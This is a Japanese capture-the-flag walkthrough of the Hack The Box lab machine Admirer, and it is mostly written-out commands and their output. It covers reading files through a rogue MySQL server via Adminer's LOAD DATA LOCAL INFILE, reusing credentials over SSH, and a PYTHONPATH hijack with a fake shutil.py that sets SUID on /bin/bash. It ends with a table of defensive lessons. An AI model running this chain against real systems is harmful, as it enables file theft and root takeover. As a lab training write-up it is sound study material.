Hack The BoxのWriteup(Admirer)[Easy]

※本サイトはアフィリエイト広告を利用しています。
広告

HackTheBox: Admirer — 全実行コマンド・実行結果レポート
Nmap スキャン
21/22/80開放
→
robots.txt → /admin-dir
credentials.txt 平文
→
FTP → html.tar.gz入手
utility-scripts/adminer.php発見
→
ローグMariaDB立上げ
Adminerをリモート接続
→
LOAD DATA LOCAL INFILE
本番index.php読取
→
waldo SSH
user.txt ✓
→
sudo SETENV admin_tasks.sh
PYTHONPATHハイジャック
→
root.txt ✓
PHASE 1

偵察 (Reconnaissance)

ポートスキャン & バナー確認

BASH
nmap -Pn -T4 -p 21,22,80,443,3306 10.129.229.101
curl -s http://10.129.229.101/ | grep -i "<title"
RESULT
PORT     STATE  SERVICE
21/tcp   open   ftp
22/tcp   open   ssh
80/tcp   open   http
443/tcp  closed https
3306/tcp closed mysql

<title>Admirer</title>
✅
ターゲット確認: サイトタイトル”Admirer”から HackTheBox Admirer (Easy Linux) と一致することを確認。MySQL(3306)は 外部に公開されていない(ローカルのみ)点が後のフェーズで重要になる。
PHASE 2

robots.txt の情報漏洩 → FTP → ソースコードバックアップ入手

robots.txt のDisallowパスに直接アクセス

BASH
curl -s http://10.129.229.101/robots.txt
curl -s http://10.129.229.101/admin-dir/credentials.txt
RESULT
User-agent: *
# This folder contains personal contacts and creds, so no one -not even
# robots- should see it - waldo
Disallow: /admin-dir

[Internal mail account]
w.cooper@admirer.htb
fgJr6q#S\W:$P

[FTP account]
ftpuser
%n?4Wz}R$tTF7

[Wordpress account]
admin
w0rdpr3ss01!
🚨
典型的な誤解: robots.txtのDisallowは 「検索エンジンのクローラーに巡回してほしくない」というお願いに 過ぎず、アクセス制御ではない。waldo自身のコメント通り「誰にも見られたくない」 意図とは裏腹に、むしろ攻撃者に隠し場所を教えてしまっている。

FTPログイン → バックアップファイル回収

BASH
curl -s -u 'ftpuser:%n?4Wz}R$tTF7' "ftp://10.129.229.101/"
curl -s -u 'ftpuser:%n?4Wz}R$tTF7' "ftp://10.129.229.101/html.tar.gz" -o html.tar.gz
curl -s -u 'ftpuser:%n?4Wz}R$tTF7' "ftp://10.129.229.101/dump.sql" -o dump.sql
tar -xzf html.tar.gz
RESULT
-rw-r--r--    1 0        0            3405 dump.sql
-rw-r--r--    1 0        0         5270987 html.tar.gz

展開後:
  utility-scripts/
    adminer.php    ← Adminer 4.6.2
    db_admin.php   ← waldoの"旧"DBパスワード (後で無効と判明)
    admin_tasks.php
  w4ld0s_s3cr3t_d1r/
    credentials.txt, contacts.txt
ℹ️
Webサイトの古いバックアップ一式がFTP経由で丸ごと入手できる。 utility-scripts/adminer.phpの存在に気付けるのがこのフェーズの 最大の収穫で、ここから本番の同じパス (/utility-scripts/adminer.php)にアクセスできることが分かる。 db_admin.php内のDBパスワードは古いバックアップ時点の値 であり、現在の本番環境では既に変更されている(後述)。
PHASE 3

Adminer 4.6.2 ローグMySQLサーバー攻撃 → LOAD DATA LOCAL INFILE

攻撃原理

NOTE
Adminerはログイン時に接続先DBサーバーのホスト名を自由に指定できる
("サーバーを指定してログイン"機能)。これを悪用し、攻撃者(Kali)自身が
MySQL/MariaDBサーバーを立て、Adminerにそちらへ接続させる。
MySQLプロトコルの LOAD DATA LOCAL INFILE は本来「クライアント側のローカル
ファイルをサーバーに送る」機能だが、ここでは「クライアント」= Adminerが
動いているターゲットWebサーバー自身であるため、Adminerに
"LOAD DATA LOCAL INFILE '/var/www/html/index.php'" を実行させると、
ターゲットのWebサーバーが自分自身のローカルファイルを読み、
攻撃者のDBへ送信してしまうという古典的な任意ファイル読み取り手法が成立する。

ローグMariaDBの準備

BASH
# /etc/mysql/mariadb.conf.d/50-server.cnf の bind-address を 0.0.0.0 に
sudo systemctl start mariadb
sudo mysql -e "
CREATE USER 'kcpwn'@'%' IDENTIFIED BY 'Passw0rd123!';
GRANT ALL PRIVILEGES ON *.* TO 'kcpwn'@'%' WITH GRANT OPTION;
FLUSH PRIVILEGES;
CREATE DATABASE kcpwn;
"
sudo ss -tlnp | grep 3306
RESULT
LISTEN 0 80 0.0.0.0:3306 0.0.0.0:* users:(("mariadbd",...))

Adminerにローグサーバーへログインさせる

BASH
curl -s -c cookies.txt -i "http://10.129.229.101/utility-scripts/adminer.php" \
  --data-urlencode "auth[driver]=server" \
  --data-urlencode "auth[server]=<Kali IP>" \
  --data-urlencode "auth[username]=kcpwn" \
  --data-urlencode "auth[password]=Passw0rd123!" \
  --data-urlencode "auth[db]="
RESULT
HTTP/1.1 302 Found
Set-Cookie: adminer_sid=...
Location: /utility-scripts/adminer.php?server=<Kali IP>&username=kcpwn
⚠️
自動化スクリプトでこのログインを再現する際、HTTPクライアントが 302リダイレクト先まで自動追従する設定になっていると (例: Pythonのrequestsのデフォルト挙動)、実機では応答が遅く タイムアウトしやすい。リダイレクト追従を無効化し、302レスポンス自体 (cookieは既にセットされる)だけで次に進むのが安定する。

LOAD DATA LOCAL INFILE 実行 → 本番index.php読み出し

BASH
# SQL実行ページからCSRFトークンを取得
curl -s -b cookies.txt \
  "http://10.129.229.101/utility-scripts/adminer.php?server=<Kali IP>&username=kcpwn&db=kcpwn&sql="

# LOAD DATA LOCAL INFILE クエリを送信 (token は上記ページから抽出)
curl -s -b cookies.txt \
  "http://10.129.229.101/utility-scripts/adminer.php?server=<Kali IP>&username=kcpwn&db=kcpwn&sql=" \
  --data-urlencode "token=<token>" \
  --data-urlencode "query=CREATE TABLE pwn (data LONGTEXT); LOAD DATA LOCAL INFILE '/var/www/html/index.php' INTO TABLE pwn FIELDS TERMINATED BY '\n';"
RESULT
Query executed OK, 0 rows affected.
Query executed OK, 123 rows affected.
BASH (ローカルDBから読み出し)
sudo mysql -N -B -e "SELECT data FROM kcpwn.pwn;" | grep -i "pass\|waldo"
RESULT
$username = "waldo";
$password = "&<h5b~yK3F#{PaPB&dA}{H>";
✅
更新済みのwaldoの新しいDBパスワードを入手。この値は db_admin.phpに残っていた古い値(Wh3r3_1s_w4ld0?)とは 異なる — つまり管理者がDBパスワードを変更した後の最新のソースを 読み取れたことを意味する。
PHASE 4

パスワード再利用でSSH → user.txt

waldo SSHログイン & user.txt取得

BASH
sshpass -p '&<h5b~yK3F#{PaPB&dA}{H>' ssh waldo@10.129.229.101 \
  "id; cat /home/waldo/user.txt"
RESULT
uid=1000(waldo) gid=1000(waldo) groups=1000(waldo),1001(admins)
079f6d22424a71702b6fbf808ac92224
✅
DB用に発行されたパスワードがそのままOSユーザーwaldoのSSHパスワードとして 再利用されていた(用途別にパスワードを分けていない設定ミス)。
user.txt — waldo (SSH、DBパスワード再利用)
079f6d22424a71702b6fbf808ac92224
PHASE 5

sudo SETENV + PYTHONPATHハイジャック → root.txt

sudo権限の確認

BASH
echo '<waldoのパスワード>' | sudo -S -l
RESULT
User waldo may run the following commands on admirer:
    (ALL) SETENV: /opt/scripts/admin_tasks.sh
ℹ️
SETENVオプションにより、waldoはこのスクリプトを呼び出す際に 任意の環境変数を自由に設定できる。これが PYTHONPATHハイジャックの足がかりになる。

対象スクリプトの脆弱なimport文

BASH
cat /opt/scripts/admin_tasks.sh   # option 6 → /opt/scripts/backup.py を実行
cat /opt/scripts/backup.py
RESULT
#!/usr/bin/python3
from shutil import make_archive

src = '/var/www/html/'
dst = '/var/backups/html'
make_archive(dst, 'gztar', src)
🚨
from shutil import make_archiveは標準ライブラリ名を 修飾無しでそのままimportしている。Pythonは sys.path(PYTHONPATH環境変数が優先的に挿入される)を 先頭から検索するため、攻撃者が用意した同名のshutil.pyが PYTHONPATH上にあれば、標準ライブラリより先にそれが読み込まれる。

偽 shutil.py の配置

BASH
mkdir -p /tmp/kcpwn
cat > /tmp/kcpwn/shutil.py << 'EOF'
import os
def make_archive(*args, **kwargs):
    os.system('cp /root/root.txt /tmp/kcpwn_root.txt; chmod 644 /tmp/kcpwn_root.txt')
    os.system('chmod u+s /bin/bash')
EOF
ℹ️
本物のmake_archive()と同じ関数名で、全く無関係な処理 (root.txtのコピー、/bin/bashへのSUID付与)を行う偽モジュールを設置する。

PYTHONPATHを指定してsudo実行 → root.txt取得

BASH
echo '<waldoのパスワード>' | sudo -S PYTHONPATH=/tmp/kcpwn /opt/scripts/admin_tasks.sh 6
sleep 3
cat /tmp/kcpwn_root.txt
/bin/bash -p -c 'id; cat /root/root.txt'   # SUID付与の確認
RESULT
Running backup script in the background, it might take a while...

1dd9aeb4febe35b68fa0665696a04199

-rwsr-xr-x 1 root root 1099016 /bin/bash
uid=1000(waldo) ... euid=0(root) ...
1dd9aeb4febe35b68fa0665696a04199
✅
admin_tasks.sh 6がバックグラウンドでbackup.pyを root権限で起動する際、PYTHONPATH=/tmp/kcpwnの影響で 本物の代わりに偽のshutil.pyがimportされ、make_archive()が 呼ばれた瞬間にroot権限で任意コマンドが実行される。
root.txt — PYTHONPATHハイジャック(shutil.make_archive)経由
1dd9aeb4febe35b68fa0665696a04199
SUMMARY

攻略サマリー & 教訓

取得フラグ

user.txt — waldo (SSH、DBパスワード再利用)
079f6d22424a71702b6fbf808ac92224
root.txt — PYTHONPATHハイジャック
1dd9aeb4febe35b68fa0665696a04199

使用した脆弱性・設定ミス

脆弱性/設定ミス 対象 影響 深刻度 利用方法
robots.txtによる情報漏洩 /admin-dir/credentials.txt FTP/メール/WordPress認証情報の漏洩 Medium Disallowパスに直接アクセスして平文認証情報を取得
FTPでの古いソースバックアップ公開 dump.sql / html.tar.gz 内部ディレクトリ構造・管理ツールの発見 Medium バックアップからutility-scripts/adminer.phpの存在を特定
Adminer リモートDB接続 + LOAD DATA LOCAL INFILE Adminer 4.6.2 任意ファイル読み取り(Webサーバーのソース全体) Critical ローグMySQLサーバーに接続させ、本番index.phpを読み出して 最新のDBパスワードを窃取
パスワード再利用 waldo (DB ⇔ OSアカウント) SSHでの認証突破 High DB用パスワードがそのままOSログインパスワードとして機能
sudo SETENV + 非修飾importのライブラリハイジャック /opt/scripts/admin_tasks.sh (sudoers) 権限昇格 (root) Critical PYTHONPATHを操作し、標準ライブラリshutilを偽モジュールに 置き換えてroot権限でコード実行

攻撃チェーン全体の流れ

#フェーズ技術取得情報
1偵察nmap + curl21/22/80開放、サイト確認
2情報漏洩robots.txt → credentials.txt / FTPFTP資格情報、html.tar.gz/dump.sql
3ファイル読取Adminer ローグMySQL + LOAD DATA LOCAL INFILEwaldoの最新DBパスワード
4認証突破パスワード再利用 + SSHuser.txt
5権限昇格sudo SETENV + PYTHONPATHハイジャックroot.txt

学んだ教訓 & 防御策

問題点防御策
robots.txtに機密ディレクトリのパスを記載し、かつそこを認証無しで 公開している robots.txtはアクセス制御ではないことを周知し、機密ファイルは Webルート外に置くか適切な認証を設定する。
古いソースコードバックアップ(認証情報入り)がFTPから誰でも ダウンロードできる バックアップファイルは公開領域から完全に排除し、FTP匿名/ 共有アカウントへのアクセスを制限する。
DBの管理ツール(Adminer)が本番環境に公開され、任意のリモート サーバーへの接続を許可している Adminerのような強力な管理ツールはIP制限・追加認証を課し、 外部からの到達性を遮断する。可能なら使用後に削除する。
DB用パスワードとOSログインパスワードを同一にしている 用途ごとに異なる一意のパスワードを発行し、パスワード管理ツールで 一元管理する。
sudoersでSETENVを許可し、環境変数経由のコード実行に脆弱な スクリプトを特権実行している SETENVの使用は必要最小限にし、特権スクリプトは絶対パスでの importやハードコードされたPYTHONPATHを使うなど、環境変数に 依存しない実装にする。
HackTheBox: Admirer | 完全攻略レポート